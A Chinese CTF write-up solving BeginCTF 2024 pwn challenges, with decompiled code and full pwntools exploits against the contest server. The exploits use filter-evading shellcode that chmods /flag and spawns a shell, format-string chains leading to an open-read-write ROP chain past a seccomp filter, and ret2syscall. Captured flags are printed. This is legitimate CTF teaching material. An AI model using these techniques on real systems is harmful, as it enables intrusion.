beginctf

官方wp:Docs (feishu.cn)

Beginctf 2024 pwn部分题解_wp


one_byte

$ checksec one_byte
[*] '/home/j3ff/桌面/pwn000/beginctf/one_byte'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled

这个不难,就不细说了。

程序的逻辑如下:打开flag文件,每次都读取一个字节到buf这个指针中,然后通过printf输出这一指针所指向的内容,之后有一个溢出一个字节的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char v4[8]; // [rsp+7h] [rbp-9h] BYREF
 char buf; // [rsp+Fh] [rbp-1h] BYREF

 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 puts("Welcome to beginctf!");
 open("flag", 0);
 read(3, &buf, 1uLL);
 printf("Here is your gift: %c\n", (unsigned int)buf);
 puts("Are you satisfied with the result?");
 read(0, v4, 0x12uLL);
 return 0;
}

思路就是能栈溢出一个字节,覆盖程序返回地址的最低位,使其再次回到C语言代码中第11行的位置,从flag文件中再次读取一个字节,然后继续执行后续内容,重复执行,直到flag的内容都被输出为止

为了让输出结果尽可能的好看,调脚本调了半天.....

Beginctf 2024 pwn部分题解_格式化字符串_02


最终exp如下:

from pwn import *
#context.log_level = 'debug'
#io = process('./one_byte')
io = remote('101.32.220.189',30300)
#gdb.attach(io,'b *$rebase(0x1285)')

flag = b""
flag += b"b"
for i in range(100):
 payload = b'a' * 17 + b'\x57'
 io.recvuntil(b'with the result?')
 io.send(payload)
 io.recvuntil(b'gift: ')
 tmp = io.recv(1)
 print(len(tmp))
 flag += tmp
 print("flag is:")
 print(len(flag))
 print(flag)
io.interactive()

后面赛后交流发现,我这个貌似,,\x57,,,碰运气做出来的,因为返回地址是一个libc的地址,,,我这种做法是以为返回地址是elf的地址

unhappy

$ checksec unhappy
[*] '/home/j3ff/桌面/pwn000/beginctf/unhappy'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled

ida分析,发现就是过滤了几个字符:

int __cdecl main(int argc, const char **argv, const char **envp)
{
 void *addr; // [rsp+10h] [rbp-10h]

 addr = mmap((void *)0xFFF00000LL, 0x1000uLL, 7, 34, -1, 0LL);
 if ( addr == (void *)-1LL )
 {
 perror("mmap failed");
 return 1;
 }
 else
 {
 read(0, addr, 0x100uLL);
 check((__int64)addr);
 ((void (*)(void))addr)();
 if ( munmap(addr, 0x1000uLL) == -1 )
 {
 perror("munmap failed");
 return 1;
 }
 else
 {
 return 0;
 }
 }
}

__int64 __fastcall check(__int64 a1)
{
 __int64 result; // rax
 char v2; // [rsp+1Bh] [rbp-5h]
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i <= 255; ++i )
 {
 result = *(unsigned __int8 *)(i + a1);
 v2 = *(_BYTE *)(i + a1);
 if ( v2 == 0x68 || v2 == 97 || v2 == 112 || v2 == 121 || v2 == 72 || v2 == 65 || v2 == 80 || v2 == 89 )
 exit(-1);
 }
 return result;
}

绕过check的核心思路

在前面写不被check的汇编,用来改变后面的汇编,整个payload能通过check【想法来自moectf的一道过滤syscall的题目】

我这里是用加1的方法,将0x47等加1

在这个shellcode中,0x48无法通过检测

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

手搓汇编https://defuse.ca/online-x86-assembler.htm#disassembly

而直接在内存中放/bin/sh的h也会被check

push 0
pop rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al,0x3b
cdq
syscall

Beginctf 2024 pwn部分题解_pwn_03


payload = b"\x49\xB9\x14\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x6A\x00\x5E\x56\x6a\x3a\x58\x47\xBF\x6d\x6f\x72\x65\x20\x66\x6c\x2a\x57\x54\x5F\x0F\x05"

Beginctf 2024 pwn部分题解_格式化字符串_04


Beginctf 2024 pwn部分题解_wp_05


Beginctf 2024 pwn部分题解_beginctf_06


Beginctf 2024 pwn部分题解_栈溢出_07


后面没成功,之后去打aladin了,但这些天依旧没放弃这道题,有想法就去写写exp,曲折的过程就不展开叙述了,说说在这个过程中遇到的坑

  1. 像上述图片,more fl*\n是有问题的,路径path这些参数得以\x00结尾【上面是没打通的,远程没有more这个指令,后续改为/bin/sh同样是犯了这个错误】
  2. chmod参数搞错,发现远程和本地都没打通,当时正好凌晨两点,实话挺失望的

用上面这种思路打通了,但flag文件却没有权限,试过用chmod来改权限,貌似不行后面发现是可以的,之前不行是因为参数搞错了,之前以为777的参数是10进制的,,,,,后面才猛然记起来是八进制,然后重新修改一下exp,一遍打通。不过打本地还是不行的,因为本地确实没权限直接修改根目录的东西

exp如下:

from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
# io = process('./unhappy')
io = remote('101.32.220.189',32228)
# gdb.attach(io, "b *$rebase(0x12b7)")

# payload = b"\x49\xB9\x23\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x46\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x31\xf6\x31\xd2\xB8\x3B\x00\x00\x00\x47\xBF\x40\x00\xF0\xFF\x00\x00\x00\x00\x0F\x05"
# payload += b"\x49\xBA\x2F\x66\x6C\x60\x67\x00\x00\x00\x41\x52\x54\x5F\x31\xF6\x66\xBE\x09\x03\x6A\x5A\x58\x0F\x05"
#上面的payload是直接拿shell的部分,开始不知道远程flag没有权限;下面是加了chmod函数调用的payload
payload = b"\x49\xB9\x83\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x66\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x34\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x49\xB9\x52\x00\xF0\xFF\x00\x00\x00\x00\x49\xFF\x01\x47\xBF\x80\x00\xF0\xFF\x00\x00\x00\x00\x31\xF6\x66\xBE\xff\x01\x6A\x5A\x58\x0F\x05\x31\xf6\x31\xd2\xB8\x3B\x00\x00\x00\x47\xBF\x60\x00\xF0\xFF\x00\x00\x00\x00\x0F\x05"
payload = payload.ljust(0x60,b'\x90')
payload += b"\x2f\x62\x69\x6e\x2f\x73\x67\x00" # /bin/sh \x67
payload = payload.ljust(0x80,b'\x90')
payload += b"\x2f\x66\x6C\x60\x67\x00" # /flag \x60

io.sendline(payload)
io.interactive()

11行payload对应的汇编如下:

Beginctf 2024 pwn部分题解_格式化字符串_08


关于exp的编写

因为要绕过相应的字符,直接利用pwntools的asm来写,我个人觉得不够方便【不过后来从其他师傅那了解到,还有另一种比较省事的方法:先用容易绕过check检查的payload,通过系统调用调用read函数,然后再写拿shell的payload就不用被check了,直接asm就很方便】

我用的在线网站辅助编写,好处就在于我能及时看到我编写的payload是否有被check,同时能够容易测试哪些汇编指令能不被check,因为汇编中有些指令虽然不一样,但可以实现同样的效果:https://defuse.ca/online-x86-assembler.htm#disassembly2

当拿到shell后,我也不太明白,怎么会有没有权限的flag,然后就搜怎么提权,而正好之前在打西湖论剑的时候,也有这种提权的题目,虽然我还没看见有wp说那题【0解】怎么做

当时在这篇文章试过很多方法,也没成功https://www.freebuf.com/articles/database/321219.html

现在又一次遇见,我干脆直接找pwn.college的其他提权wp,

最终从这大受启发https://www.buryia.top/2022/01/06/Learn/CTF/dojo_pwn_college/dojo.pwn.college%20%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95(Shellcode%20Injection)/

但它的0xdc9是不行的,0x309也不行,有被误导到,,,,吐个槽

Beginctf 2024 pwn部分题解_wp_09


但还是收获很大,给这位师傅磕一个先

貌似也了解到了,这种shellcode的操作,pwn.college早就玩过了。

之后连上去,就有权限了

Beginctf 2024 pwn部分题解_格式化字符串_10


aladdin

j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ chmod +x aladdin 
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ strings libc.so.6 | grep 'ubuntu'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35$ checksec aladdin
[*] '/home/j3ff/桌面/pwn000/beginctf/aladdin/aladdin'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled

环境应该没啥问题,尽管有点小差别。【两天前说的大话,昨天打通本地,今天才拿到有环境差异的远程flag】毕竟直接能运行,主要发现glbc-all-in-one也没这个版本。checksec保护全开

int __cdecl main(int argc, const char **argv, const char **envp)
{
 __int16 v4; // [rsp+0h] [rbp-40h] BYREF
 __int16 *v5; // [rsp+8h] [rbp-38h]
 __int16 v6; // [rsp+10h] [rbp-30h] BYREF
 char v7; // [rsp+12h] [rbp-2Eh]
 char v8; // [rsp+13h] [rbp-2Dh]
 int v9; // [rsp+14h] [rbp-2Ch]
 __int16 v10; // [rsp+18h] [rbp-28h]
 char v11; // [rsp+1Ah] [rbp-26h]
 char v12; // [rsp+1Bh] [rbp-25h]
 int v13; // [rsp+1Ch] [rbp-24h]
 __int16 v14; // [rsp+20h] [rbp-20h]
 char v15; // [rsp+22h] [rbp-1Eh]
 char v16; // [rsp+23h] [rbp-1Dh]
 int v17; // [rsp+24h] [rbp-1Ch]
 __int16 v18; // [rsp+28h] [rbp-18h]
 char v19; // [rsp+2Ah] [rbp-16h]
 char v20; // [rsp+2Bh] [rbp-15h]
 int v21; // [rsp+2Ch] [rbp-14h]
 __int16 v22; // [rsp+30h] [rbp-10h]
 char v23; // [rsp+32h] [rbp-Eh]
 char v24; // [rsp+33h] [rbp-Dh]
 int v25; // [rsp+34h] [rbp-Ch]
 unsigned __int64 v26; // [rsp+38h] [rbp-8h]

 v26 = __readfsqword(0x28u);
 v6 = 32;
 v7 = 0;
 v8 = 0;
 v9 = 0;
 v10 = 21;
 v11 = 1;
 v12 = 0;
 v13 = 59;
 v14 = 53;
 v15 = 1;
 v16 = 0;
 v17 = 0;
 v18 = 6;
 v19 = 0;
 v20 = 0;
 v21 = 327680;
 v22 = 6;
 v23 = 0;
 v24 = 0;
 v25 = 2147418112;
 v4 = 5;
 v5 = &v6;
 prctl(38, 1LL, 0LL, 0LL, 0LL);
 prctl(22, 2LL, &v4);
 setbuf(stdin, 0LL);
 setbuf(stdout, 0LL);
 setbuf(stderr, 0LL);
 puts("Aladdin's lamp will grant you three wishes");
 while ( --chance ) // 全局变量chance初始值为4
 {
 printf("your %d wish:\n", (unsigned int)chance);
 memset(wish, 0, sizeof(wish));
 read(0, wish, 0x100uLL);
 if ( strstr(wish, "one more wish") )
 {
 puts("no way!");
 break;
 }
 printf(wish);
 }
 printf("The wonderful lamp is broken");
 return 0;
}

通过源码可以看出,程序最多执行3次循环,也就是使用3次不在栈上的格式字符串漏洞,然后也没有后门函数,Full RELRO开启,也就不能针对got表进行攻击,之后我的想法就是先泄露出libc,栈地址等一些信息,然后再想办法改返回地址为one_gadget。

【这里要说明一下,我这个ogg的打法是不对的,因为我审c代码的时候,没注意到开了沙箱:

prctl(38, 1LL, 0LL, 0LL, 0LL);

prctl(22, 2LL, &v4);

后面打到ogg,然后ogg条件也都想办法满足了,但还是打不通,然后找出题人siris问问,是不是我本地环境原因导致的,,,,后面,,,才知道开了沙箱】

j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ seccomp-tools dump ./aladdin 
 line CODE JT JF K
=================================
 0000: 0x20 0x00 0x00 0x00000000 A = sys_number
 0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
 0002: 0x35 0x01 0x00 0x00000000 if (A >= 0x0) goto 0004
 0003: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
 0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW

可见禁用了execve,这也是为啥不能ogg打通的原因

j3ff@j3ff:~/桌面/pwn000/beginctf/aladdin$ one_gadget libc.so.6 
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
 address rbp-0x78 is writable
 [r10] == NULL || r10 == NULL || r10 is a valid argv
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
 address rbp-0x78 is writable
 [r10] == NULL || r10 == NULL || r10 is a valid argv
 [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
 address rbp-0x78 is writable
 [rsi] == NULL || rsi == NULL || rsi is a valid argv
 [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
 address rbp-0x48 is writable
 r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
 [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
 address rbp-0x48 is writable
 r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
 address rbp-0x48 is writable
 rax == NULL || {rax, r12, NULL} is a valid argv
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
 address rbp-0x50 is writable
 rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
 [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

打one_gadget时的情况,即使到这步,ni后,也没啥反应,毕竟execve被禁用了

Beginctf 2024 pwn部分题解_wp_11


------------------------下面是两天后拿到flag写的了,尽量将想到过程的思路写清楚。--------------------------

gdb动态调试看情况【在printf处下断点,然后stack 60】

Beginctf 2024 pwn部分题解_格式化字符串_12


可以看到,%7$p能泄露栈地址,%15$p能泄露二进制文件elf的地址,%35$p能泄露libc的地址【这三个地址我后面都有用到了】,不管要干啥,第一步肯定得泄露地址,干脆就全记录下来。那么剩下还剩两个格式化字符串,我想过去改chance,但它的地址在elf上,而格式化字符串又不在栈上,显然不太好修改。

对于非栈上的格式化字符串漏洞,我们是需要找程序残留在栈上的栈链,然后用%$n来操作的。

【例如上图中,19->49-> 和36->51-> 】

因为格式化字符串漏洞利用的次数有限,为了能实现任意地址读写,仅剩两次printf,ogg和后门函数的路都堵了,我们不难想到,出题人肯定得需要我们实现无限次利用格式化字符串漏洞的操作

灵感来自2023强网杯的ezfmt这道题,想到去改printf函数的返回地址,实现多次利用格式化字符串漏洞。执行pritnf函数时,这个地址会保存在此时图中,rsp-8的位置,调试也可以看到。

我们可以先用一次printf,改两条链子中任意一条先指向这个位置,再下一次利用链子改返回地址的最低一字节为0x4a。【我试过一次printf直接改同一条链子的两个地方,结果是行不通的】

pay2 = "%" + str(stack&0xffff) + "c%19$hn"

pay3 = "%" + str(0x4a) + "c%49$hhn"

实现第三次执行printf(wish)时返回到printf("your %d wish:\n", (unsigned int)chance); 的位置

.text:000000000000134A loc_134A: ; CODE XREF: main+1C9↓j
.text:000000000000134A mov eax, cs:chance
.text:0000000000001350 mov esi, eax
.text:0000000000001352 lea rax, format ; "your %d wish:\n"
.text:0000000000001359 mov rdi, rax ; format
.text:000000000000135C mov eax, 0
.text:0000000000001361 call _printf

之后找了一下百度,看有没有什么能绕过这种沙箱,但貌似并没有啥办法能绕过这个沙箱。那就只能想到orw来处理了。而正好wish也在bss段,最后把rop写到wish上,然后通过leave_ret【mov rsp, rbp; pop rbp (rsp + 8) pop rip】 将程序执行流劫持到wish上,执行orw的rop链,当然为了达到这个目的就需要用printf改栈地址rbp指向的内容为wish,main函数的返回地址为leave_ret,最后再wish上布置rop链即可

而wish、leave_ret这些可以通过泄露的地址推算出来。

exp如下:

# begin{You_hAve_oNE_MOR3_ChANcE_b65233cbf9e8}
# 我的本地环境和远程环境的链子有点差异,本地是36->51;远程是36->52
# 打本地则ctrl + h 将%52$p替换为%51$p即可
from pwn import *
context.log_level = 'debug'
# io = process('./aladdin')
io = remote("101.32.220.189",31268)
libc = ELF('./libc.so.6')

pay1 = "%7$p-%17$p-%35$p"
def send(pay):
 io.recvuntil(b"wish:")
 io.sendline(pay)
# gdb.attach(io,"b *$rebase(0x13d6)")
# io.recvuntil(b"wish:\n")
send(pay1)
stack = eval(io.recvuntil(b'-').strip(b'-')) - 0x18
chance = eval(io.recvuntil(b'-').strip(b'-')) - 0x1229 + 0x4010
libc_base = eval(io.recv(14)) - 128 - 0x29dc0
print(f"stack_printf_ret_is:{hex(stack)}")
print(f"chance_addr is:{hex(chance)}")
print(f"libc_base is:{hex(libc_base)}")

stack_main_ret = stack + 0x50
stack_rbp = stack_main_ret - 8
# 19
# 49

# 7 17 19 
# pay_test = b"-%p"*66 # 调试用
pay2 = "%" + str(stack&0xffff) + "c%19$hn"
pay2 += "%" + str(0x10000 - ((stack)&0xffff)) + "c"
pay2 += "%" + str((stack_rbp)&0xffff) + "c%36$hn"

send(pay2)


wish_addr = chance + 0x50 - 8 
wish1 = wish_addr&0xffff
wish2 = (wish_addr>>16)&0xffff
wish3 = (wish_addr>>32)&0xffff

sleep(0.3)
pay3 = "%" + str(0x4a) + "c%49$hhn"
pay3 += "%" + str(wish1 - 0x4a) + "c%52$hn" # -%14$p-%15$p调试用
send(pay3)
# send(pay_test)
# io.interactive()
# """
sleep(0.3) # 改栈地址rbp指向的位置中的内容为wish
pay4 = "%" + str(0x4a) + "c%49$hhn"
pay4 += "%" + str((stack_rbp&0xffff) + 2 - 0x4a) + "c%36$hn"
send(pay4)

sleep(0.3)
pay5 = "%" + str(0x4a) + "c%49$hhn"
pay5 += "%" + str(wish2 - 0x4a) + "c%52$hn"
send(pay5)

sleep(0.3)
pay6 = "%" + str(0x4a) + "c%49$hhn"
pay6 += "%" + str((stack_rbp&0xffff) + 4 - 0x4a) + "c%36$hn"
send(pay6)

sleep(0.3)
pay7 = "%" + str(0x4a) + "c%49$hhn"
pay7 += "%" + str(wish3 - 0x4a) + "c%52$hn"
send(pay7)

leave_ret = chance - 0x4010 + 0x1425
leave1 = leave_ret&0xffff
leave2 = (leave_ret>>16)&0xffff
leave3 = (leave_ret>>32)&0xffff

sleep(0.3) # 改main函数的返回地址的为leave_ret
pay8 = "%" + str(0x4a) + "c%49$hhn"
pay8 += "%" + str((stack_main_ret&0xffff) - 0x4a) + "c%36$hn"
send(pay8)

sleep(0.3)
pay9 = "%" + str(0x4a) + "c%49$hhn"
pay9 += "%" + str(leave1 - 0x4a) + "c%52$hn"
send(pay9)

sleep(0.3)
pay10 = "%" + str(0x4a) + "c%49$hhn"
pay10 += "%" + str((stack_main_ret&0xffff) + 2 - 0x4a) + "c%36$hn"
send(pay10)

sleep(0.3)
pay11 = "%" + str(0x4a) + "c%49$hhn"
pay11 += "%" + str(leave2 - 0x4a) + "c%52$hn"
send(pay11)

sleep(0.3)
pay12 = "%" + str(0x4a) + "c%49$hhn"
pay12 += "%" + str((stack_main_ret&0xffff) + 4 - 0x4a) + "c%36$hn"
send(pay12)

sleep(0.3)
pay13 = "%" + str(0x4a) + "c%49$hhn"
pay13 += "%" + str(leave3 - 0x4a) + "c%52$hn"
send(pay13)


sleep(0.3) # 布置orw的payload
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
ret = pop_rdi + 1
open_addr = libc_base+libc.sym['open']
# read_addr = libc_base+libc.sym['read'] 
read_addr = chance - 0x4010 + 0x1110 
write_addr = libc_base+libc.sym['write']

# orw_payload = b"./flag\x00\x00" + p64(pop_rdi) + p64(wish_addr+0x90) + p64(pop_rsi) + p64(0) + p64(open_addr)
# orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(wish_addr+0x90) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b"./flag\x00\x00"

orw_payload = p64(pop_rdi) + p64(wish_addr+0xa0) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(wish_addr+0xa0) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(wish_addr+0xa0) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b"/flag\x00\x00\x00"
send(orw_payload)

io.interactive()
# """

碎碎念

本地昨天就打通了,但苦于没有和远程一样的环境,不然昨天就能拿到flag了。

首先,打远程,先卡在了send(pay4),以为是printf返回地址没改成,

先注释一些一步步测试exp与交互得到的结果,看远程是哪里卡住了,后面逐渐发现printf返回地址是能改的,然后pay4之后改buf和main返回地址的操作并没成功(%14p-%15p看到没变化),于是推测到36->51这个链子有问题,又找出题人问环境原因,发现我的竟然是非预期...他们的方法并没有用到这个链子

那这我只能自己想办法了,过小年这天,没啥时间碰电脑,突然有想法,用60个%p,泄露出栈地址,自己手动搞推算,找链子,最终成功找到了远程有36->52这条链,最后换上,一遍打通了远程,拿到flag。此刻的心情难以言表。

Beginctf 2024 pwn部分题解_格式化字符串_13

Beginctf 2024 pwn部分题解_beginctf_14


之后赶紧向出题人报喜,出题人也许是被我的死磕精神震惊到了,直呼nb,不过也据出题人说,我的是非预期

gift_rop

j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec gift_rop
[*] '/home/j3ff/桌面/pwn000/beginctf/gift_rop'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
 char v4[32]; // [rsp+0h] [rbp-20h] BYREF

 init(argc, argv, envp);
 puts("Welcome to beginCTF!");
 puts("This is a fake(real) checkin problem.");
 read(0LL, v4, 512LL);
 close(1LL);
 close(2LL);
 return 0;
}

这类题,看到是静态编译,第一想法是ropchain,但结果太长了,超出了read的长度,之后打算ret2libc,但发现ida没正经的plt以及got表,然后想到刚刚ropchain有个syscall结尾,想到去打ret2syscall,shift+f12 --> ctrl+f搜到/bin/sh,那就挺方便了,不用自己去布置这些参数,直接ret2syscall,gadget也是充足的,用的是ROPgadget结合grep来找

exp如下:

# begin{THlS_IS_a_9I17_fOr_yOU_659dcaa2b0f0}
from pwn import * # 虽然本地到close(2)后会直接EOF,但调试还是可以syscall后看到起了bash
context.log_level = 'debug'
io = process('./gift_rop')
io = remote("101.32.220.189",30133)
elf = ELF('./gift_rop')
# gdb.attach(io,"b *0x401865")

main = 0x40181a
bin_sh = 0x4C50F0
syscall = 0x0000000000401ce4
pop_rdi = 0x0000000000401f2f
pop_rax_rdx_rbx = 0x000000000047f20a
pop_rsi = 0x0000000000409f9e
ret = pop_rdi + 1

payload = b'a'*0x28 + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) 
payload += p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0xdeadbeef) + p64(syscall)
io.sendline(payload)
io.interactive()

exec 1>&0 # 打开
ls
cat flag

ezpwn

j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec ezpwn
[*] '/home/j3ff/桌面/pwn000/beginctf/ezpwn'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled

保护全开,ida shift + f12可以看到/bin/sh,左边还有system,显然这就要我们设法走出system("/bin/sh")

unsigned __int64 main_loop()
{
 char v1; // [rsp+7h] [rbp-229h]
 int v2; // [rsp+8h] [rbp-228h] BYREF
 int v3; // [rsp+Ch] [rbp-224h] BYREF
 char s[48]; // [rsp+10h] [rbp-220h] BYREF
 char buf[224]; // [rsp+40h] [rbp-1F0h] BYREF
 char command[264]; // [rsp+120h] [rbp-110h] BYREF
 unsigned __int64 v7; // [rsp+228h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 memset(s, 0, sizeof(s));
 while ( 1 )
 {
 puts("Welcome to beginctf 2024.");
 puts("This is a checkin pwn challenge.");
 puts("Just play for fun.");
 menu();
 __isoc99_scanf("%d", &v3);
 if ( v3 == 4 )
 break;
 if ( v3 <= 4 )
 {
 switch ( v3 )
 {
 case 3:
 filemanage();
 break;
 case 1:
 puts("Please input index.");
 __isoc99_scanf("%d", &v2);
 puts("please input value");
 v1 = getchar();
 getchar();
 s[v2] = v1;
 break;
 case 2:
 memset(buf, 0, sizeof(buf));
 memset(command, 0, 0x100uLL);
 puts("Please input your echo command");
 read(0, buf, 0xE0uLL);
 if ( strchr(buf, ';')
 || strchr(buf, '`')
 || strchr(buf, '|')
 || strchr(buf, '/')
 || strchr(buf, '&')
 || strstr(buf, "cat")
 || strstr(buf, "sh") )
 {
 perror("Forbidden.");
 _exit(-1);
 }
 snprintf(command, 0x100uLL, "%s %s %s", "echo '", buf, "' string");
 system(command);
 break;
 }
 }
 }
 return v7 - __readfsqword(0x28u);
}

但后面发现一遍函数逻辑后,以为是命令那里有漏洞,但后来一想,好像还没看到/bin/sh的出现,于是跟踪一下字符串,发现他在一个gift函数中,是个后门函数

Beginctf 2024 pwn部分题解_格式化字符串_15


那就很明朗了,这是想让我们该返回地址,然后,再回过头去看,容易发现,1那个地方有index,再仔细一看,能数组越界实现1字节改写,而其返回地址离gift很近,也容易想到。

而另外两个纯属迷惑人的

之后遇到的麻烦就是那个接收的问题,sendline,会使getchar收到一个\x0a,导致我们返回地址改错,然后还有就是会有个栈平衡问题需要注意

还好有gdb,使得这些问题都能迎刃而解

# begin{dO_n07_6e_AfRa1D_PWn_1S_s1mPLE_158a209bacde}
from pwn import *
context.log_level = 'debug'
# io = process('./ezpwn')
io = remote('101.32.220.189',32403)

# gdb.attach(io, "b *$rebase(0x14e6)")
io.sendlineafter(b"your choice.", "1")
io.recvuntil(b"index.")
io.send("552")
sleep(0.3)
# io.recvuntil(b"value")
# io.sendline(b'\x49') # movaps
io.sendline(b'\x51')
io.sendline(b'4')
io.interactive()

no_money

很赞的题目,之前也想过搞一个同时用到栈溢出和格式字符串漏洞的题目,今天算是首次遇到

j3ff@j3ff:~/桌面/pwn000/beginctf/no_money$ checksec no_money
[*] '/home/j3ff/桌面/pwn000/beginctf/no_money/no_money'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled

逻辑还是比较简单,禁用了$符,使我们平时常用的格式字符串漏洞不太顺利,然后一直在循环里,退出只能是exit,也就是main函数的返回地址劫持不到了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
 int i; // [rsp+Ch] [rbp-54h]
 char buf[72]; // [rsp+10h] [rbp-50h] BYREF
 unsigned __int64 v5; // [rsp+58h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 init(argc, argv, envp);
 puts("Welcome to beginCTF again!");
 puts("I'm sorry to tell you that We don't have the funds.");
 puts("So I will not give you $.");
 while ( 1 )
 {
 puts("Your payload:");
 read(0, buf, 0x100uLL);
 for ( i = 0; i <= 255; ++i )
 {
 if ( buf[i] == '$' )
 exit(-1);
 }
 printf(buf);
 check_target();
 }
}

int check_target()
{
 int result; // eax

 result = target;
 if ( target )
 return system("/bin/sh");
 return result;
}

最终思路就是:格式字符串泄露出程序中的main函数真实地址,然后推算target的地址,最后将target放到栈上,用%n,改一下target即可【为啥要按exp那种写法,不用$也能实现呢,因为我百度时无意间看到一篇博客,https://zikh26.github.io/posts/a523e26a.html

写exp的时候,被一个地方卡住,就是target得放在后面,刚开始一直给到8的位置,导致一直没成功,20多分钟后看着每次输出的只有target的地址,%p的作用并未全部发挥到位,想到是\x00截断了printf,导致后面的东西无法实现,于是重新修改如下exp所示:【成功打通】

# begin{I_HaVe_no_MonEy_BUt_I_HAV3_A_f14g_4ee2f6451692}
from pwn import *
context.log_level = 'debug'
# io = process('./no_money')
io = remote("101.32.220.189",32425)

io.recvuntil(b'Your payload:')
# gdb.attach(io, "b *$rebase(0x132d)")
# 8
# 21
pay1 = b"%p"*20 + b"aaaa" + b"%p-"
io.sendline(pay1)
io.recvuntil(b"aaaa")
# sh = eval(io.recvuntil(b'-').strip(b'-')) - 0x1277 + 0x11FB
target = eval(io.recvuntil(b'-').strip(b'-')) - 0x1277 + 0x404c
print(hex(target))

pay2 = b"%p"*9 + b"%6c%hn" + p64(target)
# pay2 = b"a" * 0x58 + p64(sh)
io.sendline(pay2)

io.interactive()

cat

j3ff@j3ff:~/桌面/pwn000/beginctf$ checksec cat
[*] '/home/j3ff/桌面/pwn000/beginctf/cat'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

ida查看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setbuf(stdin, 0LL);
 setbuf(_bss_start, 0LL);
 setbuf(stderr, 0LL);
 puts("read:");
 read(0, byte_4040A0, 0x100uLL);
 puts("read:");
 read(0, byte_4041A0, 0x100uLL);
 vul(byte_4040A0, byte_4041A0);
 return 0;
}

unsigned __int64 __fastcall vul(const char *a1, const char *a2)
{
 __int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
 char dest[8]; // [rsp+20h] [rbp-30h] BYREF
 __int64 v5; // [rsp+28h] [rbp-28h]
 char v6[8]; // [rsp+30h] [rbp-20h] BYREF
 __int64 v7; // [rsp+38h] [rbp-18h]
 unsigned __int64 v8; // [rsp+48h] [rbp-8h]

